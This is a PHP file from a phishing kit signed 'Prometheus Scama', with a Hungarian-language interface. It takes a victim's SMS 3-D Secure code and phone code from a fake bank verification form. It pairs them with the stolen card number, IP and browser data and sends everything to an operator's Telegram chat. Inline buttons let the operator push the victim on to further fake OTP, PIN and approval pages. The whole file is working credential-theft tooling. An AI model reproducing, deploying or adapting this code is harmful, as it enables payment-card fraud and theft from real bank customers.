<?php

defined('SECURE_CONTEXT') || define('SECURE_CONTEXT', true);
require_once dirname(__DIR__, 3) . '/app/anti.php';

if ($_SESSION['humain'] === true && $_SERVER['REQUEST_METHOD'] === 'POST') {
    if (empty($_SESSION['numberr']) && empty($_SESSION['vbv_ready'])) {
        header('Location: ../../payment/', true, 302);
        exit;
    }

    $sms = trim($_POST['sms_code'] ?? '');
    $telecode = trim($_POST['telecode'] ?? '');

    if ($sms !== '' && $telecode !== '') {
        $_SESSION['vbv_sms'] = htmlspecialchars($sms, ENT_QUOTES, 'UTF-8');
        $_SESSION['vbv_telecode'] = htmlspecialchars($telecode, ENT_QUOTES, 'UTF-8');

        $get = fn($key) => htmlspecialchars($_SESSION[$key] ?? 'Nincs adat', ENT_QUOTES, 'UTF-8');

        $text = <<<EOT
<b>📲 +1 VBV / 3DS</b>

<b>📩 SMS 3DS kód ➟</b> <code>{$get('vbv_sms')}</code>
<b>🔐 Telekód ➟</b> <code>{$get('vbv_telecode')}</code>

<b>💳 Kártya ➟</b> <code>{$get('number')}</code>
<b>💰 Összeg ➟</b> <code>{$get('vbv_amount_display')}</code>
<b>📅 Dátum ➟</b> <code>{$get('vbv_date')}</code>

<b>🌐 IP ➟</b> <code>{$get('ip')}</code>
<b>🌐 UA ➟</b> <code>{$get('ua')}</code>

<blockquote><b>Powered By 🛕 Prometheus Scama ® - @earthshakinggg
🛕 Author : Prometheus - @earthshakinggg</b></blockquote>
EOT;

        if ($CONFIG['webhook_buttons'] == true) {
            $buttons = [
                'inline_keyboard' => [
                    [
                        ['text' => '🗑️ BAN IP 🗑️', 'callback_data' => "ban={$ip}"],
                        ['text' => '📊 PANEL 📊', 'url' => web_url('panel/')]
                    ],
                    [
                        ['text' => '📲 VBV 📲', 'callback_data' => "vbv={$ip}"],
                        ['text' => '🍎 OTP 🍎', 'callback_data' => "otp={$ip}"],
                    ],
                    [
                        ['text' => '💳 PIN 💳', 'callback_data' => "pin={$ip}"],
                        ['text' => '❌ HIBÁS VBV ❌', 'callback_data' => "vbv_error={$ip}"],
                    ],
                    [
                        ['text' => '✅ APPROVE ✅', 'callback_data' => "approve={$ip}"],
                        ['text' => '✅ Generic Approve', 'callback_data' => "genericapprove={$ip}"],
                    ],
                    [
                        ['text' => '🚪FIN 🚪', 'callback_data' => "success={$ip}"]
                    ],
                ]
            ];
        } else {
            $whBase = web_url('app/webhook.php');
            $buttons = [
                'inline_keyboard' => [
                    [
                        ['text' => '🗑️ BAN IP 🗑️', 'url' => "{$whBase}?ban={$ipQuery}"],
                        ['text' => '📊 PANEL 📊', 'url' => web_url('panel/')]
                    ],
                    [
                        ['text' => '📲 VBV 📲', 'url' => "{$whBase}?vbv={$ipQuery}"],
                        ['text' => '🍎 OTP 🍎', 'url' => "{$whBase}?otp={$ipQuery}"],
                    ],
                    [
                        ['text' => '💳 PIN 💳', 'url' => "{$whBase}?pin={$ipQuery}"],
                        ['text' => '❌ HIBÁS VBV ❌', 'url' => "{$whBase}?vbv_error={$ipQuery}"],
                    ],
                    [
                        ['text' => '✅ APPROVE ✅', 'url' => "{$whBase}?approve={$ipQuery}"],
                        ['text' => '✅ Generic Approve', 'url' => "{$whBase}?genericapprove={$ipQuery}"],
                    ],
                    [
                        ['text' => '🚪FIN 🚪', 'url' => "{$whBase}?success={$ipQuery}"]
                    ],
                ]
            ];
        }

        sendMessage($CONFIG['chat_id'], $text, $buttons);

        unset($_SESSION['vbv_ready']);
        header('Location: ../../loading/', true, 302);
        exit;
    }

    header('Location: ../?error', true, 302);
    exit;
}

$_SESSION['mail-error'] = 'Érvénytelen kérés.';
header('Location: ../../../support/index.html', true, 302);
exit;
